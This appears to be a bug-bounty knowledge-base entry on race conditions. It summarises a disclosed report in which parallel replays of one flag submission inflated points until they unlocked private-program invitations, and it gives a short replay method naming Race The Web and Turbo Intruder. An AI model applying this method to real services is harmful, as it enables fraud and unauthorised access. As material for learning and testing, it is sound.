Insight β€” Any endpoint that should be idempotent per user (follow, like, react, vote, upvote) is a counter-inflation target. Use Turbo Intruder gate='race1' to align the final bytes of many requests. Same primitive appears across many programs; impact ranges from cosmetic count inflation to notification flooding of a victim.

Real-world example

Flag/points submission race -> points inflation escalating to program invites

β—† Low
Specimen #454949 Β· security Β· awarded Β· 93 votes Β· resolved
Program securitySurface webChain points inflation -> invitation thresholds -> access to

Root cause

Flag submission awards points with a check-then-award ('flag not yet submitted by this user?') that is not atomic, so parallel submissions of the same flag award points repeatedly.

Method

  1. Solve any challenge to get one valid flag (even a 1-point trivial one).
  2. Capture the flag-submission POST and replay it many times in a short window with a fast parallel tool (Race The Web).
  3. Points accumulate per successful parallel submission (submitted one flag 70x -> earned 2 private-program invitations).
# Race The Web (https://github.com/insp3ctre/race-the-web) config replays the same # flag-submission POST in parallel; faster than Burp Intruder for this race.

Insight β€” Gamification/points systems (CTF flags, reputation, karma) are high-value race targets because inflated points can escalate to REAL privilege - here, unlocking private-program invitations without solving challenges. Always ask what a points balance unlocks before rating a scoreboard race as cosmetic.

Β§References & practice

  1. PortSwigger Web Security Academy β€” Race conditions labs (hands-on practice).
  2. All 42 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains Β· payload libraries Β· methodology.